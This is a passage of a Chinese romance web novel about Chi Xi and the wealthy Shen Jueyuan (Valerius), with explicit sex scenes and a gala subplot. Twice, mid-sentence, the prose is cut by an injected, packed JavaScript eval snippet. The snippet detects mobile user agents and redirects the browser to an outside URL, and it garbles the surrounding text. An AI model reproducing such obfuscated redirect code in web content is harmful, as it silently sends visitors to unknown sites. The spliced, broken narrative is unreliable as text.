对方立刻明白这句话的意思。 这是他第一次默许对方发布与他有关的新闻。 池溪还是在同事们的讨论中得知沈决远有私生子这件事。 对方是个很可爱的小男孩,长着一头漂亮的浅色金发。但异国感比沈决远更重。 “valerius这么久还没结婚,我原本就认为这件事很蹊跷。”同事a说,她同样来自于一个不简单的家庭,所以对于某些规则非常了解。 贵族们都会过早地结婚生子,为了生出一个有着良好基因的后代。从生物学层面看待,男性的精子质量会随着年龄的增长越来越差。 不过他好像一直都是单身状态,原本与同样古老的gyllenhaal家族的联姻传统也从他母亲那里被摈弃。 否则现在freya sofia gyllenhaal已经成为他的妻子了。 “freya sofia gyllenhaal是谁?”池溪好奇问道,名字太长了,她甚至感觉自己完整说完这个名字舌头都有些打结。 同事b告诉她:“gyllenhaal家族最小的女儿,很有名的那位超模,她创办的美妆品牌市值估价在三十亿美元,还不谈她的其他产业。她好像还在自传中提起过valerius先生。” 池溪后来花了一百美金买了一本她的自传。她在书里看到一个与自己截然不同的女性形象。无论是对方的魄力和超强的行动力,都处在一个她永远无法触碰到的高度。 她在自传中提起自己的初恋,她说按照家族传统,我和那位先生本该是属于对方的命定之人。在我八岁的时候,我就听祖母提起过这件事,当时我不满自己的婚姻被早早安排。可是两年后,我第一次见到那位比我大三岁的少年时,我十分确信我的心脏被俘获了。 他与我认识的任何人都不同,他很少讨论最新款的球鞋和限量手表。 他总是很安静,话不算多,但我与他打招呼他会给我回应。可他眼中总有一种超脱同龄人的冷淡和傲慢。我被这种该死的魅力深深迷住了。 往后的五年里,我没有任何他的消息。他也没有再出现过一次,即使我主动去valerius家做客,却仍旧倒霉的无法和他碰面。 成年之后我与他的第一次见面是在堡克磅码头,他亲手处决了一个背叛他的下属(注:此处的处决为惩罚) 我没有恐惧,并再一次为他的魅力倾倒。 我想,我的性格大概就是这样,永远为危险且不可预知的事情折服。我喜欢挑战一切外界认为我所办不到的事情。就像我的美妆品牌,没有人认为我可以成功,包括我的祖母。 她总是用苍老的语气劝说我,她说芙蕾雅,你没有你其他几位兄长那样出色的经商实力。可我不这么觉得,我的生命中冒险成分占比更重,我不仅爱危险强大的男人,我还爱危险强大的挑战。 ——所以我成功了。 池溪看着最后那一行字,感觉到热血沸腾。 女性带给女性的力量往往是最直击灵魂深处的。 她也好想成为芙蕾雅这样的人。 如果可以的话,她甚至很想亲自去见一见她。 - “佣人说,你房间里贴了很多女人的照片。” 池溪的身体趴在沙发上一耸一耸的。沈决远体贴细心地替她将晃散的头发理顺,手指顺势在她脖子上揉了揉。 她身体紧绷,汗如雨下,手臂撑着沙发,勉强支撑自己身体的平衡:“我...什么照片?” 被打湿的西裤贴着腿肌。隐约可以看见大腿肌肉的遒劲轮廓,腿肌遍布的青筋和手臂上的很像。 “freya sofia gyllenhaal。”他弯下腰,胸口紧帖不断颤抖的纤薄腰背,“你见过她了?” freya sofia gyllenhaal..... 时间来到早上,池溪睡醒之后就觉得整个人情绪怪怪的。 她好像处在一种被背叛的难过之中。 佣人见她心情差,便询问是否需要叫来silde的的设计师。 那些贵族淑女们心情差的时候大多数都会选择花钱。不愿与那些普通的民众一起逛街,通常会直接让品牌方来家中走秀。 各种高奢服装和珠宝。 如果她愿意的话,还可以直接带她去庄园内的私人珍藏馆内看一看。那里的规模不比大英博物馆差。 只不过虽然也在庄园内部,但距离较远,需要半个小时的车程才能抵达。 庄园内的草坪每月需要花费巨大的护理费用。 为了保护自然,都是使用专门的草坪车。 “不用,我只是觉得胸口有些闷闷的。”她喝了口燕窝羹,询问佣人,“对了,沈决远呢?” 对方回答:“valerius先生昨晚参加了一个晚宴,并没有回来。” 她茫然地点了点头,那种被背叛的不爽让她点开了沈决远的社交平台账号。 他有Ins,注册时间很早,但已经很久没有使用过了。池溪也是偶然间发现的。 一共只有发过几条动态,几乎都集中在他十四岁至十八岁这个阶段。 意气风发的少年穿着登山装备,站在珠峰顶上与测量纪念碑合影。 还有他的单人毕业照,那个时候的眉目棱角没有现在这样明显,被胶原蛋白覆盖,淡化消减了几分锋利。但大人果然从小就是大人。 年纪轻轻就有着一种与同龄人不同的成熟稳重。 这个时候的池溪应该只有十二三岁。 她想,还好这个阶段的自己不认识他,否则肯定会过早的沉入早恋的爱河。 他的id是一串英文,池溪看不懂,干脆直接给他改了个备注。 ——西装大乃男。 这种被背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215084|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叛的感觉是莫名出现的,弄的池溪措手不及。她甚至不清楚自己是被谁背叛的。 她上一次感觉到背叛是大学时期她经常去买的那家土豆粉店,她发现老板每次都多收她两块钱的打包费,其他人没有。 她做沉思状,努力回想了一下究竟谁最有可能背叛她。 目光回到手机屏幕中的‘西装大乃男’ 几乎是立刻就有了答案。 沈决远。 然后就是现在了——她本来是来找他麻烦的。 结果变成了主动送上门的猎物。 “你和其他人在一起过....对吗?”她声音说的断断续续,沙发垫早就变得皱皱巴巴。她的小腹撞到身前的沙发扶手。 他似乎听不懂:“什么?” 池溪一把抓住他的手臂,猛地咬了下去:“你有私生子。” 他手臂的肌肉很硬,无论她咬的再用力,别说咬出血了,甚至连破皮都没有。 “我看过新闻了,你有私生子。甚至不用做亲子鉴定,那个小男孩和你长的很像。” “你不是经常说,外国人在你看来都共用一张脸吗。”沈决远没有急着解释,他气定神闲地将她的身体单手抱着,让她转过身,坐在自己腿上,没有继续,而是握着她的手下放,“你至今都没有分清Kirk和Armstrong的区别。” Kirk和Armstrong是他的保镖,墨西哥人。 池溪低头看了一眼她的手,脸上的红不知道是被欺骗的怒意,还是燥热。 她想将手抽回来,但沈决远将她的手握紧,她只能在他的手把手带动下继续。 “那是因为他们的长相很大众,但你不是...你们的眼睛非常像。” “怎么会,Kirk非常受欢迎,很多太太想从我这里挖走他。” 池溪眨了下眼,好奇的问题下意识脱口而出:“为什么?” 青筋刚好卡在指缝中,沈决远的喉结滚了滚,低沉性感的声音夹杂着淡淡笑意:“我也不知道啊,可能是看他长得比较帅吧。” 他的眼眸逐渐微眯,看她的眼神也充满了富含情-欲的渴望。 “嘴巴张开。”他轻声命令。 这种时候任何命令显然都成为了调情。 池溪抿了抿唇,将脸挪开:“你还没有回答我,你是不是他的dad...” 难道她总觉得他身上的daddy感很重,原来他是真的daddy..... 池溪的确缺少父爱,她对拥有这种特质的成熟男性无法抵御。但她不是真想给自己找一个爹。 “是或不是,这么重要吗。” 他的办公室很大,刚才秘书按照他的要求送进来许多茶水和点心。方便中场休息时为她补充体力。此时的沈决远用空着的那只手拿起银匙,挖了一小勺她爱吃的提拉米苏喂到她嘴边:“休息一下吧,吃点东西。” 她像个人机一样,东西喂到她嘴边她就往嘴里咽,也不管喂的是什么。 “当然重要。”她一边说着口中的东西,一边强调,“我不喜欢已经...的男人。” 停顿的几秒钟,她好像咽下去了最关键的几个字。 不看他的西裤,他还是那个儒雅的英伦绅士,西装妥帖地穿在身上,甚至连领带都没有歪。 他完成那句话的完形填空:“是不喜欢有孩子的男人,还是不喜欢不是处的男人?” 池溪抿唇,她哪种都不喜欢。 沈决远又喂她喝了几口水。 “我们第一次时,我已经二十八岁了。就算是一个一事无成的普通男人,也无法洁身自好地将自己的第一次留到那个时候。你怎么判断我当时就一定是处?”他从容不迫地反问。 池溪被问住了,她当时...的确没想过这个问题。 秘书站在外面,敲门后告知:“valerius先生,人到齐了,需要准备会议吗?” 听到有人来,池溪立刻被吓到扑进沈决远的怀里。 这里处在拐角,旁边是酒柜和吧台,只有膝盖以下和肩膀往上才能被看到。于是只能看见男人黑色的薄底皮鞋和那双盖住脚踝的服帖黑袜。 沈决远几乎都要忘了正事。如果不是秘书进来提醒,他甚至记不起今天还有一场会议。 池溪被吓地缩在他的怀里,那双腿高高抬起,生怕被发现除了这双穿着男士皮鞋的脚之外,还有一双穿着白色小羊皮的女鞋。 沈决远唇角压着笑,他让秘书先离开,然后告诉池溪,今天的会议很重要,不能延后。 他给了她选择:“你可以先去里面休息,如果你想留下来,也可以,但不能发出声音。” 沈决远温和地将选择交给她来做。 以池溪平时的胆子,她肯定会选前者。但被背叛的负面情绪在她脑子里交织。她分不清是愤怒还是难过。 她想到了自己经常看的那些ntr漫画。 每次看到里面被绿的妻子,比起心疼她更多的居然是兴奋,因为知道之后会有个身材和相貌都是极品的男主出场。 可是现在,当她成为里面那个‘被绿的妻子’时,她才明白那种悲痛。 “我要...留下来。”她咬着嘴唇。 沈决远看着近在咫尺的这张脸。她很年轻,太年轻了,脸颊肉如此饱满。眼中的懵懂情绪被悲伤和愤怒掩盖。 因为这份年轻,所以让他不得不引起深思。 他用自己丰富的阅历和成熟的年龄对她做出这种事情。 这算卑劣吗。 他很少有怀疑自己的时候。一个人能够得到巨大的成功,首先需要相信自己,绝对的信任。 他的任何决定都是对的,即使不对,也会让它变成对的。 沈决远一直都知道母亲给他生了好几个弟弟妹妹。大部分的年龄可以直接成为他的孩子。 遗嘱也早就定下,她只将名下的连锁酒店和部分私募基金份额,还有一些海外永久产权的别墅给了他们。 其余的全都留给了沈决远。 他知道他母亲做这些不是因为爱他,而是太了解他。 担心自己留给其他子女的东西太多,自己这位个人利益之上的长子会干脆让人除掉这几个障碍。 直到此刻,沈决远才明白母亲为什么要这么做。 原来这种感觉就是爱子则为之记深远吗。 看着面前这张年轻稚嫩的脸,他的脑中居然出现一个念头,倘若他死在她的前面,他的所有资产全都留给了她,她守得住吗。 守不守得住他的遗产无所谓,守得住她的命就好。 所以,他现在做的这一切正确吗。 他通过各种引导让她说出自己想成为那部作品里的主角。 所以他就可以顺理成章的打着为了让她恢复记忆,以及满足她想法的旗号,去做这些事情。 他从小到大接受的那些精英教育和绅士礼仪是让他用来做这些事情的吗? 他的骄傲自持让他接受不了这样的自己。 他闭了闭眼。 片刻后,从容不迫地从抽屉内取出提起备好的by套。自从认识了池溪之后,他好像就在一次又一次的打破自己的原则。 语气温和地哄着她:“去窗户那里趴着吧,我们快点结束。否则待会会议开始,他们会听到你的声音。” 他取出了两盒,一盒内有七只。 这意味着,他们不可能‘快点’结束。 他今天是侧分背头,鼻梁上的那副眼镜早就摘下了。 此时那张英俊锋利的脸毫无遮挡地展露在她面前。 细长深邃的眼,鼻梁高挺,两侧迷人性感的的双c线在他低头时尤为明显。 无论是平直的双开门宽肩,还是锐利的下颌线。成熟男性特有的性张力被此刻的暧昧氛围推到顶峰。 他果然还是无法容忍自己成为那个后来居上的‘情夫’ 干脆出轨和偷情全都一起干了。 一盒用来‘出轨’ 出完之后再哄着她‘偷情’ 池溪没有动。男人强有力的臂膀抱着她的腰。 低下头吻了吻她瘦削的肩。 “我信天主,所以在和你上床之前,我不止没有性生活,连女人的手都没有碰过。” 他不是怪她破了自己的信仰,而是怪她没有早点出现。 早知道做嗳这么爽,他就该从十八岁初见她的那一刻起,就让她长在自己身上。 39.第三十九章 会议正常举行,但与平时不同的是,这次沈决远没有亲自露面。他仍旧待在休息室之内,与办公室一门之隔。 由远程视讯完成这场会议。 一群人各自坐下,每个人都带了助理,分别站在身后。 沈决远的秘书将这次会议的文件通过邮件的形式传送。 很快显示接收。说明电脑就放在对方的手边。 至于为什么宁愿隔着一面墙,采用如此不方便的方式将这场线下会议变成线上。 这些在场的聪明人不会去询问。 他们要做的是服从,这是在那位掌权者身边存活的首要标准。 “中东区域的扩张接近尾声,但受战争影响,合规审查可能会收紧。”西装革履的男人示意身后的助理将那份国情文件和策划书通过电脑传送过去。 邮件显示接收后,办公室内的众人都在安静等待。 等待这位最终的话事人发表自己的看法与观点。 空气有些凝重,不知是过于安静了,还是压迫感太强烈,所有人都感觉到一种被束缚住手脚的局促。 附近的停机坪停满了私人飞机,此刻坐在同一间办公室内的众人,都来自不同的国家,分属不同大区。这也是为什么沈决远没有将会议推迟的原因。 “现在放缓,等于主动退出核心区域,之后如果再想进场,成本和门槛只会更高。” 男人低沉富有磁性的声音从电脑出声口传出,气息也不是很稳,甚至有些沙哑。 办公室内的众人听完后,稍作思考。 男人言简意骇:“你们先讨论,有了最终结果再告诉我。” 池溪亲眼看到他关闭了这边的麦克风权限才放下心。 她终于不用再拼命忍耐逼迫自己不要发出一点声音。 软绵绵的娇声和她此刻的身段一样。 沈决远捏着她的下巴,不许她将脸埋进他胸口:“不要躲,让我看着你。” 放在她下巴上的手逐渐上移,手指揉开她的嘴唇,轻轻探入进去:“Freya Sofia Gyllenhaal,你最近对她很感兴趣?” 池溪想将他的手指挤出去,但柔软的舌头才刚抵住,来不及用力就被他探入的手指捏住了。 “唔...”她被弄出几滴眼泪,声音含糊不清地说,“我看完了她的自传,她很厉害,我想...我想成为像她一样的人。” 她坐在他的腿上,两条亲密纤细的腿此刻被可怜分开,一左一右垂落。 与身穿西裤的健壮长腿相比,显得分外可怜。 男人很轻地笑了笑,这声笑里带着淡淡嘲弄:“在这个世界上优秀的女性很多,与其看那本全是谎言润色的自传,不如多关注一下历年来最具影响力的女性名单。” 池溪的手放在他的胸口:“什么?” 沈决远将手指从她的口腔内抽出,弯下腰,将唇覆上去,舌头取代了手指,将她整个口腔填满。 倘若此刻从后面看,只能看见男人弯腰时将衬衫撑至紧绷的壮硕背阔肌,面前的女人被宽大的背影遮得严严实实。 他不仅骨架大,身上任何地方都很大,舌头也大,此时充满侵略性地在她口中肆意掠夺。 池溪被迫张大了嘴,嘴角开始发酸发胀。 她想要闭拢嘴巴休息一下,只能费力地去挤占嘴巴里面多出的那条舌头。 非常没有任何作用,反而变成了她含住对方的舌头,用力吮吸。 沈决远深呼吸,胸口起伏幅度变大,瞬间便填满了池溪放在他胸口的那只手。刚才的深呼吸就像是在挺着他的胸往她掌心送。 她的手也从平放变成了一个巨大的拱形。 他被含爽了,终于舍得放过她的嘴巴,将舌头收回来,替她擦掉嘴角流出来的口水。 “你说...什么?”她被这淫靡的艳吻弄到涕泪横流,却还是不忘询问他话里的意思。 沈决远替她擦干净后,单手抱着她,将她换了个方向。让她面对面坐在自己腿上,变成背对着自己坐在他的腿上。 “她的自传中,唯一能信的就是她的姓名,这是她唯一自豪的地方。”沈决远单手按着她的腰,不堪一握的细腰此时看上去更加可怜,仿佛随时都会被折断,“她所谓的创业就是将钱从一张卡转移到另一张卡。她的父亲每年会为她补全亏损。至于那些她做的那些慈善。” 池溪在感受身体出现惊人排异感的瞬间,男人发出一身舒服的叹息,同时很轻地笑了一下。 “她每年给那些吃不起饭的孩子捐赠大量物资,虽然捐赠的都是公司滞销的香水和化妆品。” 池溪想到Freya Sofia Gyllenhaal在自传中说过的那句话,无论是再怎样的绝境下,她都不会放弃自己的优雅。 只是人在饿到生存都是问题时,谁还会去在意外在形象如何。 那双黑色的商务皮鞋中间,是一双不住颤抖的小白鞋。 电脑内的交谈声一直在继续,此刻似乎终于谈论出了结果。 其中一人作为代表发言:“Valerius先生,我们认为是否需要先停掉中东区域的跟进?那边的局势不明,或许之后会有新的变更,如果现在入场,被套牢的风险会变大。” 即使看不清身后男人的脸,但池溪仍旧能够感觉到他皱起的眉。因为他的动作猛地一顿。 蠢货。 他打开麦克风权限,声音低沉严肃:“现在停掉中东,全部的渠道和货盘都会被吞并,意味前期投入的巨大精力财力统统打了水漂。” 池溪觉得他训斥人时,最危险的是自己。 虽然是外面那些人惹得他不痛快,但距离自己最近的是她。 不过好在他是个情绪稳定的人,虽然面对这些蠢货让他感到有些头疼,可他很快就调整好了自己的情绪,并且给出稳妥的解决方案。 “不必暂停,控重控险就行。规避高风险地点和受限航线。” 他音量不大,却掷地有声,带着一种不容置喙的强硬压迫。 话都说到这个份上,甚至连如何做都由他亲自教给他们。这些草包一样的精英此时沉思许久后:“那..外部变量....” “我会抽空打一通电话。”沈决远呼吸稍重,这是他耐心丧失的最直接体现。 外面那群人立刻应声,哪怕隔着电脑也能感受到他们的局促。 会议结束,他们就要搭乘各自的私人飞机回到自己所属的区域。还没有关闭的线上会会议,一声属于女人无法控制的哭求声传了出来。 “轻...轻一点..啊啊太快了...又要去..去...要去了——” 最后的声音,尖利痛快。 一群人立刻明白为什么突然将会议改成线上。 只当什么也没听见,加快了离开的脚步。 沈决远抱着池溪替她做清理,他安慰瑟瑟发抖的她:“没事,会议早就结束了,他们没有听到。” 在池溪逐渐放松的情绪中,他直接将电脑关机。 这次之后,池溪又记起了很多东西。记起她和沈决远在沈伯父的公司里.... 那些画面最后出现在她的梦里,一会像是看电影一般的第三视角,一会又像是沉浸式体验的游戏。 在她的眼前,是上身不断耸动的沈决远。 - 池溪最近没有课程,所以这几天一直都待在家里。妮娜偶尔会约她出去逛街。 但是今天池溪拒绝了她。昨天沈决远提前告知她,今天有一场宴会需要她陪同出席。这还是她第一次陪他出入这种地方。 她心里忐忑不安,第一反应就是拒绝。或许是知道她的担忧,男人笑了笑,松开系了一半的领带,弯腰下来吻她。 “Don''t be afraid. Just be yourself.” 垂落的领带因为他此刻的亲吻,不断地在她的手背上轻扫。 她咽了咽口水。 沈决远满意地扬唇,看来恢复地差不多了,又开始对他的身体展现出贪婪的欲望。 早上八点,池溪睡醒后,家族裁剪师捧着那只胡桃木衣箱进来。 这种历史悠久的old money并不追求奢华的品牌,即使那些高奢品牌会优先将还未上t台的超季新款提前派人送来,也只是放在衣帽间中充点装饰作用,很少会选择穿戴出去。 追捧大牌的理念在他们看来是一种不入流的暴发户心态。 池溪这次选的是一条不易出错的裙子。 肩带上点缀细碎宝石,面料是特殊材质的混纱,走动间,泛着淡淡珍珠贝母的光泽,如星河一般流动。 鞋子是舒适度更高的手工软底穆勒式高跟鞋。 玛丽索递给她一本册子,上面是琳琅满目的配饰。 “您可以挑选一下喜欢的胸针或是珠宝。” 裁剪师在一旁给出建议:“按照我的看法,这条裙子自带华丽感,与您清新明亮的气质适配度很高,倘若佩戴同样华丽繁琐的珠宝会喧宾夺主。我认为搭配这副澳白耳钉,或是这个同色系缎面手拿包更完美。” 池溪最后按照对方的提议选择了缎面手拿包。发型选择了盘发,松松垮垮的有些慵懒,几缕碎发垂落。那张白皙无暇的巴掌脸,皮肤好到吹弹可破。任何化妆品在她脸上都是多余的点缀,最后美容师只给她补了点莹润的唇冻。 将那瓣本就饱满的唇衬的更加潋滟秾润。 沈决远工作结束后来接她,他特意换上了white tie. 是池溪从前没有见他穿过的一种礼服。 无论是量身裁剪的尺寸,还是考究的面料,都可以看出他对今天这场宴会的重视程度。 那种上位者的气场与绅士的典雅高贵在此刻完美融合,池溪无法将自己罪恶的眼睛从他的身上挪开。 为什么他越是穿的正经严肃,她越能感觉到他的性感迷人。 她在心里唾弃自己看了太多黄本子。难怪国家大力禁黄,防的就是她这样的人。 沈决远走过来,体贴地将自己的手臂递给她,池溪抿了抿唇,伸手轻轻挽住他的手臂。 没有挽的很紧,她来这边后,沈决远让礼仪老师教过她一些基本的礼仪。 一步步走下台阶,她感受着西装下那条结实的臂膀,根本不用担心会摔倒。他简直就是安全感的代名词。 或许是察觉到她的紧张,沈决远轻声安抚她:“当成一场简单的聚餐就行,今天到场的都是我儿时的玩伴还有长辈,没有很多礼数。” 让她惊讶的是他居然还有儿时玩伴? 他握着她挽在自己的臂弯的手:“我也是从懵懂无知的幼童一点点长大,为什么不能有儿时玩伴?” 池溪无法想象他的婴儿状态。 更加无法想象他会光着身体被生出来,然后由接生护士拍打他的屁股,让他发出第一声啼哭。 感觉他属于那种在母体就自备西装领带,出生后会和医生礼貌握手致谢的绅士婴儿。 得知她想法的沈决远:“......” 事实证明,沈决远的安慰不是在撒谎。她的确不需要紧张,这里的每一个人都比她想象的更加亲切热情。 优雅的女士端着酒杯亲昵地与她进行贴面礼:“宝贝,你看上去太乖了,真不知道你究竟是怎么受得了Valerius这种挑剔的男人。” 她笑着和她开玩笑。 池溪觉得对方说的非常有道理,沈决远的确非常挑剔。 或许是对方恰到好处的亲昵让她觉得舒适,池溪居然很快就卸下了防备,即使口语说的不太流利,但她不需要担心被人取笑。 “他的确很挑剔....”池溪小声附和。 “看来他对我们这位可爱的亚洲小甜心也是一视同仁的态度。”女人名叫艾琳,她笑着说,“这样我就放心了,相信Freya也会放心。” Freya.... “Freya Sofia Gyllenhaal?”池溪开口询问。 女人扬了扬眉:“看来你也看过她那本找人代笔的骗子自传了?果然有很多可爱的女性同胞被她虚伪的话给欺骗。” 她悄悄告诉池溪:“我和Freya当初可是情敌,不过你不用担心,除了我们之外,你的情敌遍布整个欧洲上流圈。一旦数量过多,就不用在意。” 池溪不知道她和自己说这些话是什么用意,但她能够感觉到对方没有恶意。 不过她还是感受到一种无力感。她一直都知道沈决远受欢迎,但没想到会达到这种程度。 她如果和他在一起了,以后会成为漫画中那个无能的妻子吗。 □*□ □*□ 只要不像漫画里的那样,情人手臂撑在她的身侧,看着熟睡中的她,身后则是她的丈夫。 伴随着娇哼,巨大的柔软与她的脸不超过五公分的距离。 像催眠人的钟表。 情人再问上一句:“是你老婆美还是我美?” 女人冲她眨了眨眼,将她的走神当成难过。 她握住她的手:“这没什么好害怕的,如果Valerius对我们有兴趣,早就同意了我的上-床邀请。我现在也有了新的伴侣。谁都会有一段青涩的暗恋,爱情可不是我们这些人的全部。” 她轻笑着说了出来,很洒脱,也很有魅力。 池溪抬起头,觉得她在宴会厅昏暗的灯光中闪闪发光。 她好有魅力,是一种无法言说的魅力,大方自信,洒脱骄傲。 “我之前的伴侣,和你长得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223412|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很像哦。”沈决远临时有事出去接电话了,因此池溪才会落单。他进来的时候,刚好看到她被一个高个子的女人牵着手走到暗处。 对方握着池溪的手,声音暧昧,语调突然沉了下来:“我之前的伴侣和你很像,有一双可爱的大眼睛,皮肤很白,脸也小小的。手也很嫩,你用的什么香水,不像是valerius家族那些老工匠能调制出来的,那群老东西品味还留在上世纪。” 她低头去闻池溪身上的香水味,一个没站稳,不小心倒在了她的身上。 池溪顿时眼前一黑.... 脸埋进了她的胸口。对方今天穿的是一条注重剪裁的低胸黑裙。 虽然埋了无数次沈决远的胸,但这次是一次全新的体验。 女人的胸...好软好香好大好白... 对方似乎低声说了句什么,但池溪满脑子都是大扔子,根本没有听清。 她还没反应过来就被拉开,沈决远握着她的手腕,站在她的身前。眼神很淡,声音也是:“I hear Miss Pritchard is engaged. Congratulations on your uing marriage.” 艾莉看到他出现,略有些尴尬,伸手将故意拉低的领口往上扯了扯,恢复与原状后,礼貌地与池溪挥手道别:“下次见,小甜心。” 那个人离开后,池溪的脸仿佛还被那种奇特的触感包裹着。 沈决远看到她这副没出息的样子,眉头皱了皱,将人牵走。那些过来想要敬酒的人一概不理。 池溪注意到,甚至还有不少是年长的长辈。 他在国内的时候,即使是面对他不喜欢的长辈,也会保持基本的教养。 半个小时后,池溪坐在林肯车内的自动加热真皮坐垫上,高跟鞋已经被她脱掉了。 毕竟坐在车里还穿高跟鞋,哪怕鞋子再舒适也会难受。 林肯车的隔断屏升起后,后排形成私密性极好的独立空间。他坐在池溪对面,双腿自然分开,池溪被裙摆包裹并拢的腿,被他包围。 质感冰冷的黑色西裤与泛着珍珠贝母光泽的柔软长裙,简直就是两种简直的碰撞。 极致的男人和极致的女人。 “我本来还在担心你不适应这里的环境,看来你适应的很好。”他的手轻轻搭放在她的腿上,掌心抵着她膝的盖轻轻摩挲,“她都和你聊了些什么。” 车内空间其实很大,但沈决远的存在感实在太强烈了。强烈到池溪的注意力只剩下他。 “她和我讲了Freya,还说她的自传是找人代笔。” 沈决远很轻地笑了笑,车停在专属的停车位,但偶尔也会有人路过。这里不是完全没有人。 他抬手按下遥控,打开了遮阳帘和雾化隐私玻璃。 他今天佩戴了一块银色的腕表,与他鼻梁上的银丝眼镜拉高他身上斯文儒雅的气质。 这点和平时不太相同。事实上,在池溪眼中,沈决远其实和斯文气并不符合。他的气场气势实在太强了。哪怕他带给人的感觉是一个优雅温和的人,可与斯文二字并不符合。 他是硬冷的,也是强势的。 然而此刻,无论是他身上的white tie,还是鼻梁上的这副银丝眼镜。 不仅消减了他强悍的压迫感,就连那双深邃锐利的眼眸也被那片薄薄的镜片稍加遮掩。 他看上去就是衣冠楚楚的正人君子,为人儒雅斯文。 但哪怕刻意收敛,仍旧若隐若现的强大气场令这种斯文变得有些危险。 ——更像斯文败类。 池溪在心里小声吐槽。 “她一路靠家里读完名校,别说是经商,她没有一点做生意的脑子。真实水平连你都不如。”他轻描淡写地点评完对方的实力。 贱人。 池溪在心里骂他。 为什么要拿她做对比。 沈决远漫不经心地再次开口:“只聊了这些吗,你们好像聊了很久。” 池溪想到刚才发生的事情,那种触感仿佛还在。 她可以对着佛祖发誓,她没有任何邪念。纯粹是出自于对于美好身体的欣赏。 好软好香好白好大,她的整张脸都被埋了进去,那一瞬间她仿佛五感缺失了一般。 她的眼前一片漆黑,呼吸也被遏止。 倘若沈决远来的再晚一些,她恐怕真的要缺氧晕倒在她的怀里了。 要是沈决远能再晚来一些就好了.... 她红着脸,小声道:“她说我和她之前的伴侣长得很像,不过我还是第一次听到有人说我长得像男人。” 沈决远的脸色微微变得有些难看,但他什么也没说。 “晚上还有一场慈善晚宴,你先休息一下,等宴会结束后我们再进去。” 池溪点了点头,不知道想到什么,愣了一会儿。 见她走神,沈决远眉头微皱:“还在想她?” “啊?”被看穿心思的池溪顿时扭捏起来,话里充满了羡慕,“呃...我只是在感慨世界上怎么会有这么完美的女人,她不仅长得好看,身材还那么好。她的五官精致的像我在游戏里捏的脸,还有身材,她的....” 女性的身体是美好的,干净、圣洁。像月光、像静水、像绸缎、像白玉、像流云.... 被这种柔软却又温暖的身体抱着有种安定安稳的感觉,只想抛弃杂念好好地睡一觉。 男人的胸肌再大再软也比不过这份天性中携带的细腻。 此刻如此近的距离,池溪眼神里任何一个情绪的转变都被沈决远捕捉到。 他脸色越来越难看,眉头越皱越深。 “她抱着你时说的那句话,你听懂了吗?”他单手解开外套的扣子,沉声询问。 “没...”她当时脑子直接宕机了。 池溪被他脱衣服的举动吓到回神:“你要做...什么?” 他脱下身上贵气十足的燕尾服,只剩下那件白色硬胸衬衫与黑色丝质马甲。 男人味十足的宽厚肩背,让量身裁剪的每一处线条都发挥了最极致的作用。胸口更是被撑出饱满弧度。 带着一种迷人的禁欲性张力。 她没听懂的那句话——可爱的小甜心,我们3p不行吗?沈决远在后面c你,我在前面和你磨。 这种恶心粗鄙、缺乏教养、冒昧至极、轻佻孟浪、有失体面的话。 没有听清反而是好事。 “车zhen。”沈决远一把扯下领结,优雅从容地回答她的问题,将手套摘了,随手放在一旁。 随着他的起身靠近,池溪的视野里只剩下被衬衫覆盖住的双开门宽肩。 “乖,帮我把眼镜摘了。不然等下会硌到你的大腿。” 40.第四十章 昏暗的车内,男人双腿微屈,手搭放在她的膝盖上,肩背不断跟随他的头部动作耸动。 偶尔极其轻微的左右摇摆。 池溪抓着他的头发,不知道是被吓的,还是其他原因:“外...外面有人。” 男人声音含糊不清:“不用管。” “我害怕...” 他伸手轻拍她的腿,以示安慰。 没关系的,这辆车的隐私性非常好,哪怕有人趴在车窗外往里看,也只能看到倒映在车窗上的,自己那张偷窥的丑恶嘴脸。 或许是他的安慰起了作用,池溪的情绪渐渐放松下来。安慰她的那只手并没有离开,而是放在她的腿上,隔着柔软的裙摆温柔摩挲。 “嗯....” 粘腻的水声偶尔夹杂几阵吞咽声让池溪面红耳赤。 她的脚背不受控制地绷起。 她觉得自己变成了一汪海洋,灵活的鱼在海中游来游去。 破开平静的海面,潜入深处。是一条凶恶的巨齿鲨。 时间的流逝似乎都变得缓慢了,池溪坐在空间宽敞的车子里,勃艮第红的内饰颜色充实着她的视野。 她一直都觉得红色很适合沈决远。 尤其是偏暗的红色。 高贵,典雅,又带着一种醇厚的岁月底蕴。 不知道过去多久,在她彻底瘫软之前,沈决远不动声色地坐起身。 取出手帕,擦了擦嘴,然后又换另一块干净的,将手指也擦拭干净。 “喝点水吧。”车内有嵌入式的温控冰箱,他从里面取出一瓶水递给她。 池溪心虚地看了眼他的唇:“你也喝一点吧。” “我刚才已经喝了很多了。”他意有所指的一句话瞬间点红池溪的脸。 池溪只能快速接过他递来的水,大口喝着。 “不着急,十一点慈善晚宴才会开始,我们的时间还充裕。” 他是Valerius基金会主席兼首席执行官。所以这场由Valerius Foundation举办的慈善活动,他作为基金会出席必须出面。 这是Valerius家族历来的传统,每年冬令时都会举办一次。 “我刚才是不是说错了什么....”池溪的记忆仿佛又开始读档,吃饱喝足,身体缓过来之后,她茫然地询问沈决远。 如果她没有说错什么,为什么沈决远这一次比之前任何一次都要激烈。 显然是带了一些情绪在里面。 池溪抿了抿唇:“是因为我提到了艾琳?” 她记得艾琳提起过,她曾经追求过沈决远。 